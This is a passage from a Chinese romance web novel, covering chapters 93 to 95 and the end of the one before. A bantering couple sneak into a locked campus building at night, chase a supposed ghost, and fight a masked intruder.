那人一路走,一路斜着脸瞄他们,等快走过了才想起去提醒同伴,捣了一拳旁边人的胳膊,小声骂咧:“我不是眼花吧朋友们,快看11点方向那俩呆子,这是在干嘛?”
“他们咋不动啊,传说中的伪人?”
“别吓我!诶动了动了!你看那男的嘴巴在动,那女的还往后躲呢!”
兄弟仨最后得出一结论——这是一对正在僵持中的情侣。
情侣。
就是那帮全宇宙里最傻逼最矫情最惹人厌的群体。
单身的几人一下没了兴致,怪声怪气的叫了几声后就摆摆手打算散了。
路泊汀不闪不躲和他们对视过,无视他们眼底的嘲意,身都没侧半下,然后眉梢明显上挑,勾起一记短促又无声的微表情问候:Mm?
?有事
那眼神简洁冷淡,带点鄙夷,又相当有攻击性。
三个才念大一的年轻小男生一看这是遇到刺儿头了,目光打量着,跟那人一比,他们不管身高还是体格都显然完败,也不多废话,摸着鼻子就闪远了。
总有一天,哥几个也会成为学校里那批最有威望的老人的!
你等着!
路泊汀咬碎糖,扭回头,继续陪小姑娘玩起捉迷藏。
于是这一站,就又是两分钟。
温声直直挺起的背慢慢就塌了,她从小就明白一个点,她耗不过他。
只要他想了解点什么事,尤其是她的事,那他时间多的是。
就是要跟她对峙,就是要和她杠着。
可是老天爷啊……
温声无措地抓了把乱糟糟的短发,嘴巴往下扁,鼻尖也无意窘了起来。
遗书和自杀未遂这两件事,是绝对!绝对!!绝对不能被他发现的!!!
不然今晚肯定免不了一顿大吵,而且还会牵扯到姚书文,以他的心气能当场给国内去通电话,至于局面会闹到什么程度,她完全没把握。
可这么耗着也不是办法……
温声清了清嗓子,只能先低头:“对不起是我小气了,你随意吃,想吃多少吃多少。我们走吧,我想带你去看看我和同学一起创立的广播室,现在这个点还能进去,顺便给你听几期收听率最高的节目——”
“包给我。”
路泊汀冷不防开口,声音低沉,语调一如既往的不紧不慢,但细听还有抹嚣里嚣张的强硬,“快点的。”
温声反应慢半拍的“诶?”了一声,紧接着瞳孔就大了半圈,什么面红耳赤张口结舌这类词语瞬间就有了画面感。
不要啊!!!
他随口一诈,温声也就信了,将包赶紧锁到肩上,然后两只手全背了过去,小步子往后退退退,伸长脖子呛他:“什么包?你搞清楚这是我的包!你这话什么意思啊?没懂啊,我真没懂,你嘴里那根棒棒糖我不要你赔了还不行吗,我送你好了,你还想吃的话家里有其他味道的,晚点回去后都给你吃,我都给你都给你!行了吧!”
果然是包。
人一慌吧,那点拙劣的演技就崩盘在即。
又蠢又可爱。
路泊汀被她搞得更好奇了,将耳朵放到一旁的台阶上,不动声色地盯紧她挂在身上的包,又懒洋洋地抬高一只手,催促得很刻薄很做作:“我过去抢还是你拿过来,你自己决定。但我先说明一点,有什么问题一切都好商量啊宝宝,你跟我之间可千万不要上升到矛盾。”
修长的指尖还朝她勾了两下,声音放柔,轻声哄着:“乖,现在拿过来,我就看一眼,不然老公会很难办的,你觉得呢?”
我觉得个屁!
你演什么啊?!
差点被蛊惑的温声迅速刹住步子,隔着半空粗鲁鲁地呸了他一道口水,“我说了这是我的包,这是我的东西,我留点隐私怎么了?你别占有欲太强行吗?你这种霸权主义的做法真的会造成别人的困扰啊!”
于是,话就又饶了回去。
“你的不就是我的么,分那么清干嘛?”路泊汀轻笑,纯浪的那种,迈腿走去,想到什么,眼神忽然略带挑逗地警告道,“你突然这么慌,该不是背着我跟其他野男人有一腿吧?哪位谁啊,名字放出来,哈?但是应该不能吧温姐?你的家夫现在可算回来了,本人劝你回头是岸,好自为之啊。”
说来说去,有没有一种可能,你才是那个野男人?
“停!你不准再靠近了!!”温声觉得他说话好难听,赶紧闪到那座铜像的另一角,气的脸和脖子都涨红了,语速突突突超级快:“请问跟其他人有什么关系啊,我不想给你包单纯只是我不想,我不乐意!这是我的自由懂吗?你凭什么强迫我?你要是再敢冤枉我一句,你信不信我现在就给你扣大分!”
最好是给他扣到负分,一脚踹走得了!
垃圾男。
空气一静。
“不过……”路泊汀倏尔眯眼一笑,话锋来了个山路十八弯,轻嘶了声,“就算你真跟其他的野男人有一腿也说得过去,毕竟我老婆各方面确实都很正,独一无二的正。”
他表情控制的刚刚好,语气也温柔的刚刚好。
唔……
骚男的魅力在于,语气一软,态度一真,谁都能被骗过去。
果然,温声的嘴角立马不争气地翘了起来,连她自己都没意识到,眼里有点羞意,瞳仁亮的像两只灯泡,反手指自己:“真的吗?”
注意力一下就被带偏了。
路泊汀轻飘飘地扫过她快笑开花的小嘴脸,抬手又往她身上比划,那动作绅士温润得很,眉眼全是欣赏和谑笑:“从小就落落大方冰雪聪明,做事非常靠谱,学东西又特快,记忆力还超佳,吃饭从不挑食,到点睡到点起,每天从不赖床,自律,相当自律,最重要的是还很会照顾人。”
说着,夸着。
注意着她的反应。
再慢步移向她。
“是一个只要和她在一起,其他人就会觉得很稳很安心的小姑娘,是不管哪种身份,都是满分级别的宝宝。”
他那些话勾得温声根本动弹不了,就算平时长了一张招人嫌惹人弃的狗嘴,但只要偶尔吐出几句人话,她的小心巴就会立马变得软趴趴的。
从小就被教育伸手不打笑脸人的温声,这回忙低下头反思:刚才是不是对他太凶了?不就是一只包吗,就算让他看,他可能也发现不了啊……
让他看吧温声?
看吧?
吧。
见她还听上瘾了,只顾听好话,全然无视他会不会被绿这事,路泊汀面色微暗,凉凉瞅着她,忽然又怪腔怪调地拖长尾音:“哟,您要真绿了我,姐们自己会原谅自己。”
他咬牙说完。
……
身份从老公到哥们,一下过渡到姐们。
温声就算再钝的脑子也算反应过来他话中带话,她刚要解释,可头都还没来得及抬起,面前就一闪。
他大步奔了过来!
?
这混蛋!!!!
在使诈!!!!
啊啊啊啊
“死骗子!我就知道你不怀好意!!!”温声拽住包死是个不放,满脸乱发,就差上嘴咬他了,“你给我松手!听见没松手!松手!!不准抢不准抢!!!我真生气了路泊汀!!!!”
管他是什么定制的西裤东裤,她朝他的腿就是一记狠踹!<
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p>动作特别猛。
“滚呐你!”
路泊汀被踢得痛哼一声,皱着眉,利用身高优势伸手就直怼她脸上,大掌将她的小脸往外硬推,另一手抓住她的包带往回扯:“我就看一眼你小气什么?你这样我很难不怀疑你是不是背着我真干了什么事,不是说好坦诚相见吗,不是说好我是你最好的homie吗,那你现在是干嘛?总推我出去,老公也会难受也会想哭啊。”
我才想哭!!!
温声的半边脸被推挤出老远,头发被他揉出一撮一撮乱蓬蓬的炸毛,但手上力气不放,甚至比他还力度大,“我想问你一个包有什么好看的?我之前怎么就没发现你好奇心能这么重呢?以前在家里也没见你对我这些包多看两眼啊!而且我都强调了好几遍我不愿意,你还强迫我?你是不是欠打啊!!”
管它是不是还在外留学,她已经做好等会就跟他在学校里大干一场架的准备了,大不了被人发帖挂墙上人肉一番,反正只要他脸皮厚,她就脸皮厚。
怕什么啊!
路泊汀忽然凑近点,将自己漂亮的侧脸贴上来,“来,扇,用点力,今晚你就算扇死我,这个包我也看定了,别想了,半点步都退不了,这事我不可能草草结束。”
他冷不防靠过来,不躲不避,瞳仁黑亮到发光。
实在是太近,近的……温声呼吸一窒。
睫毛又直又长,弧形细长的眼尾少了点小时候的倔气,但依旧跋扈,温声甚至都能看清他双眼皮褶皱处有层薄薄的汗。
江乐橙说过他长了一张神采奕奕的美人脸。
一闪一闪,好像永远都不会黯淡。
他仗着自己好看所以就能对她为所欲为是吗?
……行吧,是她先没辙的。
“你往回退点……”温声的耳根又悄悄红了,眼神闪避,呼吸很浅,还上手推了把他的肩侧,“别这么贴我……”
“别,为了一会儿看的安心,宝宝你还是先甩我一巴掌吧。”
路泊汀没动,甚至自己变换着角度给她扇,“看到这处了么,脂肪少,扇得疼。别跟老公客气,扇到哪儿算哪儿。”
不要!
温声果断摇头拒绝,他总喜欢干点m的事,但她是正常人啊。
手腕忽然一紧,路泊汀这回直接上手抓住她,然后就着她的小手趁她还没反应过来前,“啪!”快速往自己的脸上甩了上去。
很脆很果断的一道巴掌声。
很毫不客气的动作。
温声都惊了,眼睛瞪得圆圆的,都不知该怎么出声。
“好咯宝宝,这下可以看了吧?”
语气兴兴奋。
路泊汀还用她柔软的手心揉了揉侧脸那片发红的皮肤,睁着黑眸定定望着她,“就看一眼,求你了。”
怎么会有这么难缠的人啊!
“你别动!给你看给你看!!!给你看总行了吧!!!”温声终于忍无可忍,用力抽回手,又轻轻推了他一下,“答应我,看完你就滚蛋!”
“那没问题。”
路泊汀单手抄兜,眉眼弯弯,然后立在原地很乖的点点头。
温声双眼发狠地瞪他,向后又开始撤步,将包从肩上小心取下,包带攥得很紧,一边擦脸上的汗,一边嘴里还在咕哝着一些神叨叨的碎话:“凭什么每次都是我退步……你让干嘛就干嘛……我怎么就这么倒霉啊……好烦……就你会演……我也会啊……”
又不敢大声骂他,又要气势到位,这畏畏缩缩的小怂样着实让他失笑。
路泊汀轻轻扬眉,咬着糖棍点着她,“你说什么?”
哼。
温声也不知是不是有意让他听见,这回磨着牙又嘈了他一句:“狗东西。”
骂的很心有不甘的样子。
路泊汀啧了声,刚让她拿包办事别浪费时间,就见她步子猛地一顿,还是那种像小猫扑人前正在蓄力的静止动作。
他眼神放慢,舌尖顶了下脸颊。
眼神浮起看戏的玩味。
“睁大你的狗眼看好了!!!”
中间大概有两三米的安全距离了,温声才将包高高抖出来,变魔术一样,在他眼前各种假动作,一顿,一晃,一打圈,躲躲藏藏,一个破包翻来覆去的转,包链哗啦哗啦的响,眼里还满是对他的防备。
好半天过去了。
他还在望着她。
温声面露几丝尴尬,脸红的有些不正常。
怎么办……装不下去了……
对面的路泊汀朝她呶呶嘴,让她加把劲干点正事,“愣着干嘛,包链拉开啊。”
“你别催!”
温声死咬住唇,气势汹汹地瞪他一眼,这才磨磨唧唧去拉包链。
然后不出两秒,
“唰——”又匆匆拉住。
动作类似“鸡飞狗跳”的那种。
可能形容不当,反正很快。
温声见任务搞定了,眼神立马一炸,叉起腰对他就是一顿乱指,“这下够了吧,行了吧,看到了吧!仅此一次,你别不知好歹我警告你!”
说完脚跟一转,闪身跑了出去。
就连头顶炸开的几缕碎毛都跟着她的跑动一跳一跳的。
但是,他什么屁都没看到啊。
就刚才她拉包链的那一晃,速度快的差点给他闪坏眼。
不知好歹的路泊汀被她无语到通体发乐,转瞬笑出声,一想到大半夜跟她闹这些,还闹这么久,觉得自己也挺牛逼的。
撒丫子跑出好远的温声突然间听到笑声,回头,见他撑着膝竟然放声笑了起来,而且是越笑越大声,连肩膀都跟着抖了。
……她有这么招笑吗?
那些放肆的、带着微喘的清朗笑声无限穿透在校园,穿透进她的耳朵。
温声浑身极不自在,步子停了下来,就在原地扯着嗓门大声喊他:“喂……你干嘛笑啦!收回去!!”
路泊汀抬眼注视着她,深邃,专注,眼里还有汗湿的潮,到最后只剩一片柔软:“哎,我什么都不看了,你赢了宝宝。”
这巴掌属实白挨。
93.进大楼
铛~铛~铛
晚间十一点半,坐落学校中央大道的法学院大楼传来当日最后一次轻点报时,有点像老式教堂钟声的响铃轻悠悠地覆盖到旁边几座行政大楼,包括温声平时上课的传媒大楼。
从近到远,几座紧邻的楼开始按层机械地熄灭亮灯。
钟声落下,校园逐渐安静。
距离不到一百米的新传主楼也已经漆黑一片,一楼玻璃门的电子屏闪烁了几下幽暗绿光,大门立马上锁。
谁都进不去了。
温声坐在一旁长椅上,手里还转着校卡,目光紧盯新传大楼下面那扇巨大漆黑的玻璃门。
其实也不是非要今晚带他进去看一眼的,只是已经寒假了,校工作人员通知会在明天上午清空大楼内每一层楼的报刊架,而里面就有几本以她的稿件为头版的期刊。
虽然乍耳一听没有很厉害,但之前写过的某篇深度报道因为视角独特被学院投给了外媒,这篇稿子让她正式成为了校媒体团队的署名记者,还为她争取了不少媒体实习的机会。
他们彼此空白的这几年,她想一点一点让他参与进来,想让他重新了解她的全部。
所以必须给他看,还要看原版。
温声抬起眼皮就对旁边的人发出一道怨念颇重的冷光,狠声放话:“都怪你,磨磨唧唧,明明可以赶得上的,这下得翻墙了!”
路泊汀咧着嘴很欠扁地一笑,轻嘶声,自导自演地感叹:“行,都是我的错,对不住咯,啧,我可真该死啊。”
刚说完就被温声一巴掌迅速糊上嘴,给他再次扇懵,“你以后再说死这个字眼,信不信我现在先抡刀砍死你!”
嘴唇是麻的,心是滚热的。
路泊汀两手揉了揉俊脸,学她的表情,嘴巴无辜扁起,神色怕怕的小声接话:“唔,宝宝你凶的嘞,我可真要怕死了。”
简直油盐不进。
……
温声烦躁的抓了把头发,她环视一圈大楼周围,虽然正门锁了,但是听沈百合说过传媒大楼的一层厕所是有通风口的,也就是有一扇能在夜间开放的窗户,而且那个窗口还不小。
不管怎么样,能进去再说。
“跟我走啦,小点声。”
手腕一紧,路泊汀就被温声拉着往犄角旮旯的树丛走去,有一片很茂密的高头栅栏,两米高的瓷石紧紧挡在那些树丛前,每条瓷石中间大概有半人宽的空隙。
温声咬咬牙,也顾不上包里的相机会不会被摔坏,当着他的面,一副极其不信任他的模样,手一扬,那只包就被高高抛起掉进了对面草丛里。
路泊汀眼睁睁看着那包飞进去:?
他立马不满,抱臂审视她:“你为什么不让我拿,非要先抛进去?我就这么见不得人?”
温声见他又要嘚嘚嘚不依不饶起来,赶紧小声地嘘了一道:“这附近有安保人员巡逻,你别引来人,不然到时候被抓住肯定要问话,你又不是本校的,流程很麻烦的。”
路泊汀定定看她一眼,视线又越过那排瓷石的空隙看向掉地的包,长指点着她,声音刻意放低:“你最好是藏好了,因为接下来那只蠢包只要落进我手里,我是一定不会给它好果子吃——”
他还在用很硬的语气很臭的脾气提醒着她。
下一瞬,张张合合的嘴唇忽然微掩。
唇角有抹淡淡的潮润贴上来。
温声环紧他的腰,踮起鞋尖,又张嘴咬住他的下唇,牙尖一点点磕磨他的唇肉,声音柔柔的询问他:“你乖点,听话好不好?”
路泊汀倏尔垂眼,眸光跟着敛下,却没看她。
一颗心七上八下。
呼吸沉了几分。
温声褪开时,还上手薅了把他的头发,很软,像rua狗一样,五根纤指曲起,在他柔软又刺挠的碎发里一收一放,很快地摸了摸他。
“我翻不过去,只能先钻过去,你后脚跟着噢。”温声刚要走,见他愣着不动,手勾了勾他的指尖,有点冰,她很快包住他的手,用两只小手搓了搓他的手背和手心,“是不是很冷啊?马上就能回家了,今晚允许你穿我的睡衣。”
她揉着他的手背,那些动作,那些触感,柔软饱满,温热,又小心翼翼。
像他彻底占有她的那晚,那一刻,恍如羽毛般的温柔。
也不知道为什么,路泊汀忽然就脸红了,他的眼神还硬撑着刚才的无所谓,只是长睫下浮出一点绯红,从面上很快红到耳朵,耳尖越来越红,越来越烫,看上去并不像装的。
“宝宝……”
他低声开口。
“我像一只被你丢下的贝壳,你拿走了我的珍珠……”
他的声音哑了,还有点发涩。
眼睛被夜灯照出微微湿漉。
“所以……你能不能再咬咬我?”
刚才停在唇角那抹短暂的温存,又分离,让他想起之前他们在海边捡过的贝壳,微张泛着水光,柔软隐秘的褶皱里藏着一颗圆润饱满的珍珠。
现在那颗小东西变成了他的心脏。
被她轻轻一咬,就拿走了。
温声白眼给他甩过去,他虽然是个理工男,但初高中语文作文从来都是流传年级的高分模版,有时候高敏矫情起来,她自愧不如。
“咬不动了。”她故意用力丢开他的手,故意膈应他,“你太老了哦。”
然后就一把推开他,回身往那片栅栏移步,这是一片没什么人修理的灌木丛,长得很高很茂密,附近时不时有洒水车路过,所以地面累了一层黑黑的厚土。
切。
路泊汀恢复玩世不恭,对上她的屁股就是轻轻一脚,“你头太大了,能钻进去么?现在求老公还来得及,我可以把你无痛抛进去。”
话音刻薄得很。
温声将头微微低下,侧过身,本来已经将一只脚从缝里迈了进去,结果被他一踹,脑袋想从缝隙里挤出来,但又扭不动,只能被迫背过身骂咧他:“你不准踢我!不然我一会儿就跑了,谁还带你进去啊!你对我客气点!”
然后哼哧哼哧继续往墙里挤。
路泊汀闲闲啧了声,耳朵已经困的在他的包里睡着了,他将那只包挂上脖子,然后避开腿边脏兮兮的湿泥,往另一侧墙角走去……
温声撑着柱子终于挤了进去,她刚进去就兴奋满满地扭过身邀功,“我挤进来了!快说是不是很厉害!!”
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但刚站在原地的人忽然没了。
“路泊汀?”
温声往前走了两步,墙外实在太黑,她的两手扒紧柱子使劲往外看。
依然没人,连耳朵都不见了。
“路泊汀!”
温声又慌又急,踩着墙就想从那个两米高的柱子上跳过去,但是墙太滑了,她一时没抓牢,失手掉下去的一瞬。
“啊!”她尖声叫了一声,嘴巴却被人轻轻一捂。
紧着整个人就被他稳稳从后接住。
“这下知道老公的重要性了吧?”路泊汀将她的脑袋扭了过去,嘴唇也很快被咬住,“刚才欠我的那一咬,我得及时要回来。”
“你有病啊!”温声又骂他,声音哭唧唧的,“你什么时候翻过来的,怎么都没有声音?以后不准吓我!”
她气的用力掐了一把他,但也没多余时间和他生气,抓住他的手腕就往楼后面跑了过去。
停在那个厕所的矮窗外。
路泊汀扶着颈,没什么力气地叹了声气:“宝宝,我能进一次男厕吗?”
从小到大,跟她有关的,他进的都只有女厕的份。
温声也挺抱歉的,两手合十朝他拜了拜,“你就忍忍吧,只有女厕的通风口是连夜开的。”
路泊汀拍开她的手,不说话,满脸不情愿。
温声已经开始卷裙边了,“你记得跟好我,之前有人说过晚上在厕所里遇到过树精,就是类似阿飘,不知道是不是真的,我得保护你……哎哟!”
衣领忽然一紧。
她被路泊汀提溜到了身后。
“你干嘛呀!”温声给他一拳,催促道:“赶时间呢,你让我先进去啊,你不熟悉,我得给你带路。”
耳朵这时已经醒了,黑溜溜的大眼睛泛着红光,往厕所里迅速一扫,然后呼呼呼地哼哼道,在路泊汀的包里滚了两道狗身。
不愿进去。
温声:………
啊…不会吧……真有鬼啊?
路泊汀本来只是单纯想自己开路的,结果瞧她一副惊悚脸,眉梢微拧,又扯着唇角无声笑了笑,“怕了?怕了就让我先进去,正好最近在练铁,一拳捣死四五个不是问题。”
神经!
他一开玩笑,空气中那些莫名恐怖诡异的气氛就散了。
温声抱着手臂,也朝他的屁股踢了一脚,“那还慢着干嘛,带路啊!”
那厕所也不知道是不是没清理,反正味道格外冲人,路泊汀从窗户翻进去,又将温声半抱半扶地接了进来,装着狗的包卡着他的脖子一时呼吸困难,硬生生咳了几声。
温声赶紧将耳朵抱了出来,很坏心眼地贴在它的狗耳朵旁小声叮嘱:“小宝,他已经是个老头了,身子骨受不住的,我们千万不要再欺负他了哟。”
刚说完,脖子又一紧。
他怎么动不动就要勒她脖子啊!!
“你给我等着。”路泊汀笑骂道,两指捏住她的鼻子,另一手扣到她后颈肉,然后押着她往厕所门边走,还要叨两句,“这厕所别说鬼了,就这味道……”
还没说完……
门口就有一道白影迅速飘了过去。
94.捉鬼
“路泊汀!”
温声余光扫到时,头皮立马炸开,想都没想她一下闪回到身后人的怀里,说话都结巴了:“我……你…你…你看到了吗?”
不是走过去!
是飘过去的!!
那种飘飘然的形态绝不是人能发出的动作。
他们这是真撞到鬼了??
这么大的学校,不应该啊!
路泊汀瞟了眼窗台,浅色大理石上有几抹深浅不一的鞋印,不算模糊,至少能看出是今晚的,而且和他们到的时间差不多。
心下一了然,只当是校内的学生。
于是他犯贱的心思再起。
“宝宝,我怕怕……”
气音轻颤,呼吸发软,还有类似微微吸鼻子的受惊声。
温声都还没搞清状况,腰就一紧,随后有一只像癞皮狗一样的庞然大物从身后扒了上来。
爪子圈紧她,脑袋还一个劲儿地往她颈窝里钻啊钻。
那些滚烫的气息如潮水涨起般将她完全簇拢。
……
温声的大脑继而一片空白。
什么鬼啊神啊,什么恐惧惊慌,一时间全都灰飞烟灭。
啥声音?
谁在说话?
到底谁怕怕??
原本紧绷的神经一散,温声的眼皮也跟着跳了跳,她被雷劈了一样瞬间僵在原地,脸色比刚才见到阿飘时还难看,磨着牙,面无表情地回过头,看他那颗毛茸脑袋娇滴滴地挤在自己耳边,黑亮的眼里还泛着可怜兮兮的微光,脸上尽是被吓到的无措和慌张。
就那么没出息地躲在她身后,半臂紧紧圈住她的腰,手腕攥紧她的衣服,生怕鬼来了第一个先搞死他。
反正就是要死也得是她先死,是这个意思对么?
拜托!他明明看上去就强得可怕好吗?
她才是那个该喊怕该被保护的人好吧!
温声憋着气,努力压住暴脾气,但无论如何就是受不了他在这做作,她也不管阴魂野鬼了,立马开骂:“老娘都没喊怕你怕个屁?大晚上的能不能正常点?不就是飘吗,我们两个人一起干它还怕干不过吗?你不是从小就练过吗,你那些拳术柔术乱七八糟的术难道是废了?唉算了,懒得争,我打头阵总行吧,真瞧不起你这种怕东怕西的小偷样!”
她的视线一低,看他细长的十指扣住自己的腰不放,怒火再次生起。
啪!
一巴掌抡开他的手,黑影里能看到细白的手背立马多出一道红印,她又骂骂咧咧:“爪子拿开!你给我起开!!”
这男的压根靠不住啊老天爷!
她的心凉了又凉。
被说成小偷小摸的路泊汀也就顺着她的意思,变得愈发软蛋,眼神怯怯飘忽,怎么看怎么怂,被她骂得一副窘迫样,鼻子皱皱的,又小口吹了吹被拍疼的手背,再次搂紧她就是不挪半步,轻轻抽鼻子,“对不起宝宝,是我拖了你后腿,是我不够聪明,我明明说过要保护你,可到头来还需要你挡在我身前,是我不够好,是我不够强大,全部是我的问题,是我不够男人。”
最后那俩字不知道是不是温声的错觉,话里藏锋,又带点淡淡的狡黠。
她刚要说什么。
就察觉出他抬起手有意无意地蹭了下眼前。
好像是在偷偷抹泪?
她的注意力马上一偏。
天呐,怎么还哭了啊……
温声满脸复杂,又气又好笑,她本意不是要骂他,而且一想到他心脏不太好,确实不能受惊吓,对不起三个字刚刚好就挤上嘴边。
但张嘴闭嘴好几次,就是有点说不出口。
比起他每次大大方方的道歉,她的道歉总要越过好几道珠峰才能说出来。
她被抱得很紧又不能转过身看他,温声只好干咳几声清清嗓子,然后别别扭扭说:“喂……够了啊,是个人总会有弱点,你怕这些东西我能理解,好啦,你可以完全依赖我……不准哭……唉你别哭了好不好……”
她胡乱擦着他的脸,一时也没注意他是不是真在掉眼泪,一把拉下他的手,又紧紧抓进手里,“我现在带你往楼里走,你要拉好我的手,如果等一会真遇到什么可怕的,我向你保证,我绝不会跑,我会一直在你身边,就算……”
想到那些孤魂野鬼,温声心一硬,伸长脖子给自己打气:“就算真遇到那些奇奇怪怪的鬼怪,我也一定会先保护好你的!”
耳朵懒懒地动了动小黑鼻子,没丝毫惧意,在温声怀里继续睡了过去。
就门口那死动静,是不是鬼它自会分辨。
路泊汀不知道半斜着脑袋静静看了她多久,如果她回头,一定会发现他的眼神有点烫,有点迷人,还带着星星点点般无比璀璨的爱意。
看她软声软气又凶巴巴的说着那些笨笨的嘱咐,还是边思考边说,说的断断续续,说的吞吞吐吐,明明自己也怕,还要在他身前全力控制好情绪,抓着他的手,握紧再握紧,仿佛要将浑身的力量全部施给他。
她在他耳边又承诺道:“i promise!”
她有种天生的魔力,让他不需要找寻任何理由,就会很爱很爱她。
“好啊,那你亲亲我,可能我就不怕了。”
温声只好再次惦起脚尖,偏偏在他的下巴处一咬,眼睛圆圆亮亮的,给他使眼色:“ok出发!走!我们走!”
相当有女侠味的几声哟呼。
路泊汀抿起的嘴角不自觉上扬,从她手里捞过耳朵,再次丢进挂脖子上的包,耳朵感觉自己就像个物品一样被两人随手挪来挪去,他们怎么一点都不珍惜它!?
想也没想,它对着他就是一顿龇牙。
走到门口,路泊汀拾起杵墙边的一把快要掉光光的扫帚递给她:“拿这个走。”
算是个武器吧。
温声随意一暼,心里立马吐槽:你校收这么高的学费,连把好扫帚都不舍得买?格局在哪里?!
哐当!
她拿过扫帚,一脚猛踹开厕所的大门,动作相当剽悍,门一下猛弹到墙上,快要撞回她的小身板时,被路泊汀抬手挡了住,她刚要往外冲,就听见他在低声闷笑,像笑又像叹,还捏了捏她的手背轻声示意:“宝宝,咱俩这气势像不像鬼子进村?”
……
这什么烂形容啦!
虽然不想给日本人一丁点好脸色,不过他这个形容非常精准地描述出此时此刻他们从头到底那丁点的腾腾杀气。
温声被他一下逗笑出声,当即就给他演上了,小眉头一皱,竖起指头命令式地戳向他肩头,想破脑袋挤出一句影视剧里的日语台词:“Oi!阿给罗!!”
(喂喂喂!举起手来!!)
表情又凶又滑稽。
唉。
可爱死了。
路泊汀也就陪着演,两手投降,懒懒半举,整个人一副没什么站姿的俘虏样,唇边笑意无可奈何又带点宠溺纵容,脑袋凑她跟前,嗓音低柔:“piyo~piyo~请宝宝大人绝对不要放过我。”
(温馨提示:piyo读音类似皮哟~是儿童故事or卡通中常用于表达可爱氛围的拟声词,在日语中被当作小鸟“叽叽”“啾啾”的叫声,是小男生对觉得特别特别可爱又特别特别喜欢的小女生才会有的小称呼哟~)
温声被他惹得咯咯咯笑个不停,拉下他的手一把搂进怀里,边往外走边小声回应:“看你这么听话,那我摊牌好了,悄悄告诉你,其实我是来自江城怡翠苑的声声大王,咱俩是同胞喔,我现在就领你去杀鬼子!”
路泊汀略显嫌弃地抽出手,用指腹装模作样地蹭了下她的上巴不存在的胡子,戏谑一笑:“你的八嘎胡还在,妥妥的小日本儿,装什么红子?”
“都说了是堂堂正正的中国人啦!”温声抬腿就给他一脚,“骗你的话我是小狗!”
耳朵
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被吵得不行,在路泊汀怀里再次滚了一圈。
我是小狗我是小狗,行了吧,我是小狗!
再争的话,把你两全送去当八嘎!
路泊汀扫视一圈周围,楼道的灯全熄了,走廊尽头的通道口隐隐还亮着绿幽幽的应急灯,楼是老式建筑,每上一节台阶,木质楼梯就会传来吱吱的回音,楼梯转角处也是一片黑魆,就像进入到异世界,整栋学术楼没什么白日里的活人气息,空气中还飘着一股似有似无的粉尘和油漆味。
哪怕是学生之间没什么恶意的戏弄,大晚上选在这地方属实有点瘆得慌,路泊汀刚要改口让温声往他身后走,余光里,那道飘飘然的白影又从楼梯拐角闪了出去!
而且是朝温声平时上课的三楼跑去,也就是放那些期刊的区域!
啊啊啊啊注意注意!
前方一级预警!!!
温声立即进入紧急状态,啥也不说拉着路泊汀就朝那处拐角跑去,小碎步迈的极大极快,“一会儿如果真要到动手的时候,你千万不要插手,我说了今晚是我保护你,你就乖乖站在我身后,不要给我出岔子,听到没!”
她蹬蹬蹬往楼梯间狂奔,路泊汀也就被拽着往前硬跑,他垂下眸扫过她紧握自己的手,嘴角轻轻弯起,下意识点点头,见她没注意到,又晃了晃她的手,带着克制的尾音轻轻落下,问道:“宝宝,你会永远保护我吗?”
未来无论发生什么事,无论贫穷还是富有,健康或是疾病,会始终牵着我的手吗?
他的瞳仁细腻深黑,在黑暗中明亮的像两颗微光流动的玉石,温柔安静地停留在她的侧脸,又问:“不论时间如何变化,我们始终是彼此最好的朋友和最亲密的伴侣,你能答应我吗?”
这一刻,他没有任何棱角,仰头望向她,眼底满是对她的依赖。
那道白影也不知道跑哪里去了,一晃眼就不见了!
温声急的四处乱找,听他问一些无关紧要的话,火急火燎地转过头,斜眼瞪他:“废话!我不保护你还能保护谁?我又没多少精力,只照顾你,还要照顾好你都已经很不容易了,而且!我的秘密你不是全都知道吗,如果这都不算是最亲密的关系,那我们还剩什么可以退路的关系吗?”
不等他开口。
“还有!”温声瞪大眼睛少见地啧了一声,很急的模样,“谁让你松手了?这么黑我找不到你怎么办?你给我牵紧了!”
手一拽,将他快要掉落的手又一次抓紧。
握在手里很紧很紧。
想到什么,温声不由朝他探过身,眼神和呼吸一时间都变得特别柔和,“不论时间如何变化,我们都会是彼此最好的朋友和最亲密的伴侣。从前往后,始终都是。”
她重复道,语气坚定的像一支能划开黑夜的长矛。
那句话一字一字清晰地烙进他的心里。
她说永远,那就会永远。
路泊汀这下真吸了吸鼻子,倏尔偏开脸,温声注意到他漂亮的唇线忽然抿出一条细细的弧,像小孩哭前的模样,嘴角渐渐垂下,又浅抽了记鼻子。
人在黑暗中的感官是异常敏感的,那种迎面扑来的湿热气息,让温声察觉到他真的在掉泪。
哎呀!
都都没想,她伸手就扭过他的脸往他眼前摸,果然有些潮乎乎,没有缘由,她也耷下了脑袋,声音蔫蔫闷闷的:“怎么几年不见你比我还爱哭啊……我们都是大人了你好意思哭吗路泊汀……别哭了……呜呜别哭了……”
结果话都没说完。
哗!
耳边擦过一记利猛铁拳,拳风如闪电,快得她耳际的头发也飘了起来。
路泊汀将温声推到身后,装耳朵的那只包也被他放地上,还顺手拉高她身上的外套,将她的脸全遮了起来。
“躲好,别过来。”
声音还有点哑,但人已经强势冲了出去!
整个过程快得不出三秒。
95.打鬼
路泊汀对准再次扑上来的人影又是凶狠一拳,而且是朝那人的面门直拳砸去,快准狠,他眉目凌厉,动作狠辣,丝毫没有刚才那副柔柔弱弱的纨绔样。
那人戴着一副迈尔斯的恐怖面具,上身穿着类似中东国家的沙质半袍,没穿裤子的下摆空了一大截,不知是青少年还是单纯长得矮,瘦小的身影异常灵活地躲开路泊汀的攻击,头侧闪,下一瞬就迅速逼近,朝他的下颚抡出一拳,紧跟着抬腿侧扫,直往他的腹前狠狠顶去。
整套动作不设空隙,诡谲又野蛮。
是成年人。
那好办了。
几乎是同时,路泊汀侧身一错,猝然抓住他的腿,电光火石间,又一把扣住他的膝盖骨,五指用力收紧,接着往身前猛地一扯!
那面具男一个猝不及防就被拖了过去!
他咬紧牙借力跳起,空中抬高手肘,像棒槌落地,二话不说就往路泊汀的太阳穴上砍去!
这肘击带着非常毒辣的训练痕迹,一般接不住的人能被打飞半米。
路泊汀冷着一双眼,脸部线条愈发冷冽,懒得耗时间,迎着他的动作一拳打散他手臂的筋肉,手下也毫不留情,捏住他的膝盖骨发力往下一剜!
“啊!!!”
骨头瞬间发出咔的一声脆响,那人痛得浑身打了一激灵,从头皮到脚底一下就软了,他强撑着用另一条腿拖地站住,但个子太矮,完全抵不过对面的人手劲之大。
嘭!
他一个踉跄就被路泊汀飞快甩到了墙上,腰间的红鞭顺势掉了出来。
